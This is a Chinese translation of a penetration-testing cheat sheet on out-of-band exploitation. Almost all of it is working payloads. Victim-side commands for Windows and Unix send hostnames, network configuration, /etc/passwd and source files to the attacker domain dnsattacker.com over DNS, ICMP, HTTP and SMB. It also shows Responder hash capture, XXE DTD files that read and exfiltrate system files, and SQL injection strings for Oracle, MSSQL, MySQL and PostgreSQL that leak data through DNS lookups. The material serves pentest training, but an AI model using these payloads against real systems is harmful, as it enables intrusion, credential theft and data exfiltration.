原文:
https://www.notsosecure.com/oob-exploitation-cheatsheet/

介绍
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功是基于防火墙出站规则的,即允许存在漏洞的系统和外围防火墙的出站请求。

在这篇文章中,我们会讲DNS带外通道技术作为OOB攻击的最佳选择,因此下面提到的所有技术中,我们会着重讲解DNS。
设置:启动DNS/OOB查询的基础设施
前提条件
具有静态IP的公网服务器:出于演示目的,我们将使用Google云平台(GCP)提供的vps服务。
注册域:访问注册域设置,将解析权委托给你的Nameserver。我们将使用oob.dnsattacker.com来进行DNS解析。

步骤
使用GCP服务创建一个Linux系统,具有静态IP地址。确保你有这台服务器的root权限。如果你之前没有用过GCP服务,你可以参考这个指南来创建你自己的vps。
我的vps如图:

我们在注册门户网的DNS设置中为我们的域添加了两条记录。第一条使用Nameserver定义了一个子域。下一步,我们为nameserver定义了A记录(GCP服务器的IP地址)。这些设置会将子域所有的DNS请求转发到GCP服务器中。设置如下图:

我们可以使用tcpdump来观察服务器上的DNS请求,如图:

OS命令注入:OOB
我们可以通过解析精心构造的DNS名称并查找关联的DNS查询来检测Web应用程序中的OS代码注入漏洞。

检测
DNS
攻击者:使用wireshark/tcpdump指定53端口来观察响应

sudo tcpdump -n port 53

注意:在DNS命令中,我们还可以明确定义用来解析的namenserver。

Windows

nslookup test.oob.dnsattacker.com

ping ping.oob.dnsattacker.com

Unix

host host.oob.dnsattacker.com

同样地,我们也可以使用下面的命令:

dig test.oob.dnsattacker.com
ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com

漏洞利用和数据提取
DNS
注意:使用wireshark/tcpdump指定53端口来观察响应

tcpdump -n port 53

Windows
受害主机:

cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"

攻击者:

echo “encoded output” |base64 -d  # 使用base64解码输出

使用多行和大文件发送输出结果
受害主机:

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"    # 以十六进制格式发送文件

攻击者:

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

限制条件:需要使用powershell

Unix
受害主机:

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com; done   # 以十六进制发送文件

攻击者:

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

与十六进制编码比较,base64编码的文件更小。
受害主机:

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# 以base64编码发送文件

攻击者:

cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d    # 提取输出

ICMP
Windows
受害主机:

cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);

攻击者:

sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap  #To capture

提取数据

echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #或者使用wireshark gui

限制条件:需要powershell

Unix
受害主机:

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don

攻击者:

sudo tcpdump  'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture

提取数据:

echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #或者使用wireshark gui

HTTP
Windows
受害主机:

cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"

注意:如果powershell不可用,请使用“mshta !Final!”

攻击者:

echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

Unix
受害主机:

wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000

攻击者:

echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

同样地,我们也可以使用下面的命令:

wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com# extract data  in post section
wget –post-file trophy.php http://dnsattacker.com    # extract source code
cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt

SMB(使用responder窃取哈希)
Windows
受害主机:

net use h: \\dnsattacker.com\web

攻击者:

sudo ./Responder.py -I eth0#运行responder来捕获哈希值

同样,我们可以使用:

net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt

XXE:OOB
检测
可以通过向攻击者域(即 oob.dnsattacker.com)发起DNS请求来确认XXE漏洞。关于XXE漏洞,这里有一个不错的靶机。
受害主机:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>

攻击者:

sudo tcpdump -n udp port 53

限制条件:在写这篇文章时,DNS查询只能用来检测XXE漏洞。

漏洞利用和数据提取
HTTP
攻击者:运行python HTTP 服务器来存放dtd文件,命令如下

python -m SimpleHttpServer 9000

受害主机:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd文件内容如下:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">

注意:对于受害主机是Windows系统的,请使用下面这个dtd文件:
windwos.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">

FTP
攻击者:运行python HTTP服务器存放dtd文件并运行xxeftp服务器(请参考这里)

python -m SimpleHttpServer 9000
python xxeftp.py

受害主机

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd文件内容如下:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

注意:Windows受害主机请使用下面的dtd文件
windows.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

SMB(窃取哈希)
攻击者:运行responder来获取哈希

sudo ./Responder.py -I eth0

受害主机:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]>
<foo>&xxe;</foo>

注意:出于演示目的,我们将使用CVE2018-0878:Windows远程协助XXE漏洞。

同样,你可以使用其他的payload来提取数据

http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt

SQL注入
注意:所有数据库服务器都安装在Windows主机上。有关SQL注入备忘录请点击这里这里

检测
DNS
攻击者:使用wireshark/tcpdump指定53端口来观察响应。

sudo tcpdump -n port 53

Oracle
检测
受害主机

SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;


注意:使用这个技术,需要更高的权限来调用上述的函数。

漏洞利用和提取数据
受害主机:

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;    /* Extracting Oracle database version */

我们也可以使用下面这个payload

SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;      /*Extracting Current user in Oracle database */

如果你使用的Oracle数据库版本是10G,甚至是更低的版本,你可以使用这下面几个替代方法来发起DNS请求:

UTL_INADDR.GET_HOST_ADDRESS, 
UTL_HTTP.REQUEST,
HTTP_URITYPE.GETCLOB, 
DBMS_LDAP.INIT and UTL_TCP

MSSQL
检测
受害主机

EXEC master..xp_dirtree '\\oob.dnsattacker.com \'

漏洞利用和数据提取
受害主机

DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);  
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');

限制条件:如果要利用这个技术,数据库需要是sysadmin权限

其他发起DNS请求的方法有:xp_fileexists, xp_subdirs, xp_getfiledetails, sp_add_jobstep

MYSQL
检测
受害主机

SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));

漏洞利用和数据提取
受害主机

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));

限制条件:要使用这个技术,数据库需要有select update和file权限。

Postgresql
检测
受害主机

CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');

限制条件:用户必须要有superuser权限来执行CREATE EXTENSION查询。

漏洞利用和数据提取
受害主机

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
    SELECT INTO query_result (SELECT encode(convert_to(concat(user,'     '), 'UTF8'),'hex'));
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
    EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();


限制条件:用户必须要有superuser权限来执行这个命令

使用DNS进行数据提取的限制
域名最多只能包含127个子域。
每个子域最多只能包含63个字符
完整域名的最大长度为253个字符
由于DNS记录缓存,会为每个请求的URL添加一个唯一值
DNS是明文通道,任何通过DNS提取的数据都是明文形式,可被中间节点和DNS服务器缓存使用,因此不建议使用DNS通道来提取敏感数据。

参考
https://github.com/beefproject/beef/wiki/Installation
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
https://www.youtube.com/watch?v=COVtU5G0Iys
https://github.com/Arno0x/DNSExfiltrator
https://blog.zsec.uk/out-of-band-xxe-2/
https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICMP-Sender.ps1
https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1
https://ss64.com/nt/certutil.html
https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/
https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/
https://www.aldeid.com/wiki/File-transfer-via-DNS
https://www.dbrnd.com/2015/05/postgresql-cross-database-queries-using/

源链接

Hacking more

...